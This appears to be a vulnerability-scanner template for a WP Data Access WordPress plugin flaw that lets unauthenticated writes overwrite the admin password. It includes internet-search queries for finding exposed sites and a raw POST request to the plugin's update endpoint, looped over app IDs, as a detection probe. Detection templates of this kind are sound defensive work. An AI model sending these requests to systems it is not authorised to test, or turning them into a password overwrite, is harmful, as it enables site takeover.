WP Data Access <= 5.5.89 - Incorrect Authorization to Privilege Escalation

id: CVE-2026-118267

info:
  name: WP Data Access <= 5.5.89 - Incorrect Authorization to Privilege Escalation
  author: DhiyaneshDk
  severity: high
  description: |
    The WP Data Access plugin for WordPress is vulnerable to Incorrect Authorization leading to Privilege Escalation in all versions up to, and including, 5.5.89. The plugin's write REST API endpoints (wpda/app/update, wpda/app/delete, wpda/app/insert) pass attacker-supplied key and val parameters directly to database operations without enforcing the container's row-filter (defaultWhere) or per-column allow-list (isSelected) restrictions that are correctly applied on read endpoints. Exploitation by unauthenticated attackers requires that an administrator has published a Data App whose rest_api.authorization is set to 'anonymous' and whose container has write transactions (update, delete, or insert) enabled. This is an explicitly advertised use-case of the plugin. When this precondition is met, an attacker can overwrite the administrator's password in wp_users and authenticate as admin for full site takeover.
  remediation: |
    Update the WP Data Access plugin to version 5.5.90 or later, which enforces defaultWhere and isSelected restrictions on all write endpoints.
  impact: |
    When an administrator has published a Data App with anonymous REST API access and write transactions enabled, an unauthenticated attacker can write to arbitrary rows and columns in the configured database tables — including overwriting the user_pass field of the WordPress administrator account in wp_users — and subsequently authenticate as the administrator, achieving full site takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118267
    - https://plugins.trac.wordpress.org/changeset?reponame=&new=3771310%40wp-data-access%2Ftags%2F5.5.90&old=3761178%40wp-data-access%2Ftags%2F5.5.89
    - https://wordpress.org/plugins/wp-data-access/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-118267
    epss-score: 0.0162
    epss-percentile: 0.76273
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 5
    vendor: peterschulznl
    product: wp-data-access
    framework: wordpress
    shodan-query: http.html:"wp-data-access"
    fofa-query: body="wp-data-access"
  tags: cve,cve2026,wp-data-access,wordpress,wp-plugin,wp,auth-bypass,privesc,vkev

variables:
  cnt_id: "{{rand_int(1,5)}}"
  user_login: "{{randstr}}"
  user_email: "{{randstr}}@{{randstr}}.invalid"

http:
  - raw:
      - |
        POST /wp-json/wpda/app/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"app_id":"{{app_id}}","cnt_id":"{{cnt_id}}","key":{"user_login":"{{user_login}}"},"val":{"user_email":"{{user_email}}"}}

    payloads:
      app_id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"code":"info"'
          - '"message":"Nothing to update"'
        condition: and

      - type: word
        part: body
        words:
          - '"code":"error"'
          - 'Unauthorized'
          - 'Bad request'
        negative: true

      - type: status
        status:
          - 200